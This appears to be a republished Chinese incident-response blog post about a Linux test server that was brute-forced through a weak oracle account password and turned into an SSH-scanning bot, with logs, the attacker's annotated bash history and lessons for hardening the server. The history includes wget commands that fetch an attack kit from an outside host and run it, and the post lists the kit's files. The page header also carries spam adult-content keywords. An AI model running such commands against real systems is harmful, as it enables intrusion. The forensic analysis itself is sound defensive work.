免费观看又色又爽又黄的小说免费_美女福利视频国产片_亚洲欧美精品_美国一级大黄大色毛片

一次服務(wù)器淪陷為肉雞后的實戰(zhàn)排查過程!

2021-02-03    分類: 網(wǎng)站建設(shè)

?1、從防火墻癱瘓說起

今天還沒到公司就被電話告知辦公室無法正常連接互聯(lián)網(wǎng)了,網(wǎng)速非常慢,無法正常瀏覽網(wǎng)頁。急急忙忙感到公司,開始查找問題。

首先排除了交換機故障,因為內(nèi)部局域網(wǎng)正常。當(dāng)ping防火墻設(shè)備時,丟包嚴(yán)重。很明顯,防火墻出了問題,撐不住了,其Web管理界面根本無法正常登陸。立即聯(lián)系其服務(wù)商遠程查找問題,經(jīng)過近3個小時的分析,得出結(jié)論是網(wǎng)內(nèi)有兩臺

主機A配置如下:

  1. OS?-?RedHat?Enterprise?Linux?Server?release?6.x?
  2. 部署軟件?-?Tomcat,sshd,?oracle?
  3. RAM?-?8GB?
  4. CPU?-?Intel?Core?i3-2130?
  5. IP地址?-?172.16.111.22?

主機B為客戶托管主機,具體配置不詳。

本文只對主機A進行分析處理。

通過防火墻命令行界面,抓包發(fā)現(xiàn)A機器瘋狂對一組IP地址進行22端口掃描。下面是抓包結(jié)果片段:

  1. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22,?packet=3,?bytes=208[REPLY]?183.58.99.130:22=====>59.46.161.39:39895,?packet=0,?bytes=0?
  2. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22,?packet=3,?bytes=208[REPLY]?183.58.99.131:22=====>59.46.161.39:33967,?packet=0,?bytes=0?
  3. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22,?packet=3,?bytes=208[REPLY]?183.58.99.132:22=====>59.46.161.39:34117,?packet=0,?bytes=0?
  4. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22,?packet=3,?bytes=208[REPLY]?183.58.99.125:22=====>59.46.161.39:54932,?packet=0,?bytes=0?
  5. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22,?packet=3,?bytes=208[REPLY]?183.58.99.135:22=====>59.46.161.39:60333,?packet=0,?bytes=0?
  6. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22,?packet=3,?bytes=208[REPLY]?183.58.99.136:22=====>59.46.161.39:52737,?packet=0,?bytes=0?
  7. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22,?packet=3,?bytes=208[REPLY]?183.58.99.137:22=====>59.46.161.39:52291,?packet=0,?bytes=0?
  8. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22,?packet=3,?bytes=208[REPLY]?183.58.99.138:22=====>59.46.161.39:46183,?packet=0,?bytes=0?
  9. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22,?packet=3,?bytes=208[REPLY]?183.58.99.139:22=====>59.46.161.39:36864,?packet=0,?bytes=0?
  10. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22,?packet=3,?bytes=208[REPLY]?183.58.99.133:22=====>59.46.161.39:34515,?packet=0,?bytes=0?
  11. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22,?packet=3,?bytes=208[REPLY]?183.58.99.134:22=====>59.46.161.39:57121,?packet=0,?bytes=0?
  12. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22,?packet=3,?bytes=208[REPLY]?183.58.99.140:22=====>59.46.161.39:37830,?packet=0,?bytes=0?
  13. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22,?packet=3,?bytes=208[REPLY]?183.58.99.141:22=====>59.46.161.39:42742,?packet=0,?bytes=0?
  14. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22,?packet=3,?bytes=208[REPLY]?183.58.99.142:22=====>59.46.161.39:55018,?packet=0,?bytes=0?
  15. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22,?packet=3,?bytes=208[REPLY]?183.58.99.143:22=====>59.46.161.39:46447,?packet=0,?bytes=0?
  16. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22,?packet=3,?bytes=208[REPLY]?183.58.99.147:22=====>59.46.161.39:51039,?packet=0,?bytes=0?
  17. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22,?packet=3,?bytes=208[REPLY]?183.58.99.146:22=====>59.46.161.39:33123,?packet=0,?bytes=0?
  18. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22,?packet=3,?bytes=208[REPLY]?183.58.99.151:22=====>59.46.161.39:35956,?packet=0,?bytes=0?
  19. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22,?packet=3,?bytes=208[REPLY]?183.58.99.145:22=====>59.46.161.39:45002,?packet=0,?bytes=0?
  20. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22,?packet=3,?bytes=208[REPLY]?183.58.99.150:22=====>59.46.161.39:54711,?packet=0,?bytes=0?
  21. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22,?packet=3,?bytes=208[REPLY]?183.58.99.155:22=====>59.46.161.39:58976,?packet=0,?bytes=0?
  22. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22,?packet=3,?bytes=208[REPLY]?183.58.99.157:22=====>59.46.161.39:37967,?packet=0,?bytes=0?
  23. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22,?packet=3,?bytes=208[REPLY]?183.58.99.158:22=====>59.46.161.39:47125,?packet=0,?bytes=0?
  24. proto=6?TCP?TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22,?packet=3,?bytes=208[REPLY]?183.58.99.156:22=====>59.46.161.39:35028,?packet=0,?bytes=0?

可以清晰的看到,肉雞掃描程序瘋狂掃描一個網(wǎng)段內(nèi)的22端口。

2、查找黑客行蹤的方法

對于Linux主機,出現(xiàn)問題后分析和處理的依據(jù)主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目標(biāo),然后就是.bash_history命令記錄。黑客登錄主機必然會在日志中留下記錄,高級黑客也許可以刪除痕跡,但目前大部分黑客都是利用現(xiàn)成工具的黑心者,并無太多技術(shù)背景。該主機對外開放三個TCP偵聽端口:

  1. 22?sshd?
  2. 80?Tomcat?
  3. 1521?Oracle?

這三個服務(wù)都有可能存在漏洞而被攻擊,最容易被掃描攻擊的還是sshd用戶名密碼被破解。所以最先分析 /var/log/secure日志,看登錄歷史。

3、淪陷過程分析

3.1 oracle用戶密碼被破解

分析/var/log/secure日志。不看不知道一看嚇一跳,該日志已經(jīng)占用了四個文件,每個文件都記錄了大量嘗試登錄的情況,執(zhí)行命令:

  1. cat?secure-20150317?|?grep?'Failed?password'?|?cut?-d?"?"?-f?9,10,11?|?sort?|?uniq?

結(jié)果如下:

  1. invalid?user?admin??
  2. invalid?user?dacx??
  3. invalid?user?details3??
  4. invalid?user?drishti??
  5. invalid?user?ferreluque??
  6. invalid?user?git??
  7. invalid?user?hall??
  8. invalid?user?jparksu??
  9. invalid?user?last??
  10. invalid?user?patrol??
  11. invalid?user?paul??
  12. invalid?user?pgadmin??
  13. invalid?user?postgres??
  14. invalid?user?public??
  15. invalid?user?sauser??
  16. invalid?user?siginspect??
  17. invalid?user?sql??
  18. invalid?user?support??
  19. invalid?user?sys??
  20. invalid?user?sysadmin??
  21. invalid?user?system??
  22. invalid?user?taz??
  23. invalid?user?test??
  24. invalid?user?tiptop??
  25. invalid?user?txl5460??
  26. invalid?user?ubnt??
  27. invalid?user?www??
  28. mysql?from?10.10.10.1??
  29. oracle?from?10.10.10.1??
  30. root?from?10.10.10.1?

可以看出攻擊程序不斷采用不同的賬戶和密碼進行嘗試。然后在接近尾部的地方發(fā)現(xiàn)如下2行,說明被攻破了。

  1. Mar?9?20:35:30?localhost?sshd[30379]:?Accepted?password?for?oracle?from?10.10.10.1?port?56906?ssh2?
  2. Mar?9?20:35:30?localhost?sshd[30379]:?pam_unix(sshd:session):?session?opened?for?user?oracle?by?(uid=0)?

可見賬戶oracle的密碼被猜中,并成功登入系統(tǒng)。

3.2 黑客動作推演

下面看看黑客用oracle賬戶都做了什么。首先復(fù)制一份oracle的命令歷史,防止后續(xù)操作丟失該記錄。

  1. cp?/home/oracle/.bash_history?hacker_history?

然后查看分析這個文件。 我在后面?zhèn)渥⒘撕诳偷南敕ā?/p>

  1. vi?.bash_profile?
  2. vi?.bash_profile?(查看.bash_profile,看變量設(shè)置,把/home/oracle/bin增加到PATH)?
  3. ll?
  4. cd?/?
  5. vi?.bash_profile?
  6. vi?.bash_profile?(執(zhí)行,設(shè)置環(huán)境變量)?
  7. w?
  8. ps?x?(查看系統(tǒng)運行進程)?
  9. free?-m?(查看內(nèi)存大小)?
  10. uname?-a?(查看系統(tǒng)版本)?
  11. cat?/etc/issue?(查看系統(tǒng)發(fā)行版)?
  12. cat?/etc/hosts?(查看是否有網(wǎng)內(nèi)機器)?
  13. cat?/proc/cpuinfo?(查看CPU型號)?
  14. cat?.bash_history?(查看oracle賬戶歷史操作)?
  15. w?(查看系統(tǒng)負(fù)載)?
  16. ls?-a?(查看/home/oracle/下的隱藏文件)?
  17. passwd?(修改掉oracle賬戶的密碼)?
  18. exit??
  19. ls??
  20. oracle?
  21. sqlplus?(運行sqlplus)?
  22. su?(試圖切換到root賬戶)?
  23. app1123456?(猜測root密碼)?
  24. ls??
  25. su?-?
  26. w?
  27. free?-m?
  28. php?-v?(查看php版本)?
  29. exit?
  30. w?
  31. free?-m?
  32. php?-v?
  33. ps?aux?
  34. ls?-a?
  35. exit?
  36. w?
  37. free?-m?
  38. php?-v?
  39. cat?bash_his?(查看歷史命令)?
  40. cat?bash_history?
  41. cat?.bash_history?
  42. wget?scriptcoders.ucoz.com/piata.tgz?(下載肉雞攻擊軟件包)?
  43. tar?zxvf?piata.tgz?(解壓軟件包)?
  44. rm?-rf?piata.tgz?(刪除軟件包)?
  45. cd?piata/?(切換到攻擊軟件目錄)?
  46. ls?-a?
  47. chmod?+x?*?
  48. ./a?210.212?(運行攻擊軟件)?
  49. screen?(試圖運行screen命令,發(fā)現(xiàn)沒有后下載它)?
  50. ls?-a?
  51. wget?scriptcoders.ucoz.com/screen.tgz?
  52. tar?zxvf?screen.tgz?(解壓)?
  53. ./screen?
  54. exit?
  55. w?
  56. ps?x?
  57. cd?piata/?(切換到攻擊軟件目錄)?
  58. ls?-a?
  59. cat?vuln.txt?(查看攻擊結(jié)果)?
  60. ls?-a?
  61. mv?vuln.txt?1.txt?(保存攻擊結(jié)果)?
  62. ./screen?-r?
  63. nano?1.txt?(查看結(jié)果文件)?
  64. w?
  65. ps?x?
  66. exit?
  67. cd?piata?
  68. ps?x?
  69. ls?-a?
  70. nano?2.txt?
  71. exit?
  72. w?
  73. ps?x?
  74. cd?piata/?
  75. ls?-a?
  76. cat??
  77. mv?vuln.txt?2.txt?(保存結(jié)果)?
  78. nano?2.txt?
  79. w?
  80. ps?x?
  81. cd?piata/?
  82. ls-?a?
  83. cat?vuln.txt??
  84. rm?-rf?vuln.txt??
  85. ./screen?-r?
  86. exit?
  87. w?
  88. ps?x?
  89. cd?piata/?
  90. ls?-a?
  91. cat?vuln.txt??
  92. ls?-a?
  93. mv?vuln.txt?3.txt?(保存結(jié)果)?
  94. nano?3.txt??
  95. exit?
  96. w?
  97. ps?x?
  98. cd?piata/?
  99. ls?-a?
  100. cat?vuln.txt??
  101. rm?-rf?vuln.txt??
  102. exit?
  103. w?
  104. ps?x?
  105. cd?piata/?
  106. ls?-a?
  107. cat?vuln.txt??
  108. rm?-rf?vuln.txt??
  109. rm?-rf?1.txt??
  110. rm?-rf?2.txt?
  111. rm?-rf?2.txt.save??
  112. rm?-rf?3.txt??
  113. screen?-r?
  114. ./screen?-r?
  115. exit?
  116. w?
  117. ps?x?
  118. cd?piata/?
  119. ls?-a?
  120. cat?vuln.txt??
  121. ls?-a?
  122. nano?vuln.txt??
  123. rm?-rf?vuln.txt??
  124. screen?-r?
  125. ./screen?-r?
  126. exit?
  127. w?
  128. ps?x?
  129. cd?piata/?
  130. ls?-a?
  131. cat?vuln.txt??
  132. nano?vuln.txt??
  133. w?
  134. ls?-a?
  135. rm?-rf?vuln.txt??
  136. screen?-r?
  137. ./screen?-r?
  138. exit?
  139. w?
  140. ps?x?
  141. cd?piata/?
  142. ls?-a?
  143. cat?vuln.txt??
  144. rm?-rf?vuln.txt??
  145. ps?x?
  146. ls?-a?
  147. ./screen?-r?
  148. exit?
  149. w?
  150. ps?x?
  151. cd?piata/?
  152. ls?-a?
  153. cat?vuln.txt??
  154. nano?vuln.txt??
  155. w?
  156. rm?-rf?vuln.txt??
  157. ./screen?-r?
  158. exit?

3.3 攻擊工具一覽

前面通過命令歷史記錄,可以看出攻擊工具軟件包為名為piata。下載來看看它的面目。

  1. [root@localhost?piata]#?ll?
  2. total?1708?
  3. -rw-r--r--.?1?oracle?oinstall?0?Mar?10?13:01?183.63.pscan.22?
  4. -rwxr-xr-x.?1?oracle?oinstall?659?Feb?2?2008?a?
  5. -rwxr-xr-x.?1?oracle?oinstall?216?May?18?2005?auto?
  6. -rwxr-xr-x.?1?oracle?oinstall?283?Nov?25?2004?gen-pass.sh?
  7. -rwxr-xr-x.?1?oracle?oinstall?93?Apr?19?2005?go.sh?
  8. -rwxr-xr-x.?1?oracle?oinstall?3253?Mar?5?2007?mass?
  9. -rwxr-xr-x.?1?oracle?oinstall?12671?May?18?2008?pass_file?
  10. -rwxr-xr-x.?1?oracle?oinstall?21407?Jul?22?2004?pscan2?
  11. -rwxr-xr-x.?1?oracle?oinstall?249980?Feb?13?2001?screen?
  12. -rw-r--r--.?1?oracle?oinstall?130892?Feb?3?2010?screen.tgz?
  13. -rwxr-xr-x.?1?oracle?oinstall?453972?Jul?13?2004?ss?
  14. -rwxr-xr-x.?1?oracle?oinstall?842736?Nov?24?2004?ssh-scan?
  15. -rw-r--r--.?1?oracle?oinstall?2392?Mar?10?05:03?vuln.txt?

其中 a, auto, go.sh gen-pass.sh, 都是bash腳本文件,用于配置掃描網(wǎng)段,調(diào)用掃描程序。pscan2和ssh-scan則為掃描程序。 vuln.txt記錄獲得的肉雞列表。

目前尚未發(fā)現(xiàn)其他系統(tǒng)文件被黑客修改,也沒有自動運行攻擊軟件的設(shè)置。

4 深刻教訓(xùn)

雖然這次被攻擊的機器只是一個測試主機,其本身的重要性并不高,但卻造成了防火墻的癱瘓,進而造成互聯(lián)網(wǎng)不能正常訪問。對此,必須引起足夠重視,并從中汲取教訓(xùn)。

系統(tǒng)賬戶密碼一定要有一定的復(fù)雜度。這次攻擊就是由于oracle賬戶密碼過于簡單所致。

sshd采用密碼方式登錄風(fēng)險很大,特別是密碼簡單的時候。可行的情況下,盡量關(guān)閉密碼方式,改用公鑰方式。

作為數(shù)據(jù)中心管理員,一定要監(jiān)督監(jiān)管系統(tǒng)管理員和軟件開發(fā)商的服務(wù)安全,本次被攻擊主機就是把所有權(quán)限都放給了網(wǎng)站開發(fā)公司,而開發(fā)公司對運營安全并不重視。

本文標(biāo)題:一次服務(wù)器淪陷為肉雞后的實戰(zhàn)排查過程!
標(biāo)題路徑:http://m.newbst.com/news9/99009.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供建站公司ChatGPT網(wǎng)頁設(shè)計公司品牌網(wǎng)站建設(shè)網(wǎng)站營銷動態(tài)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司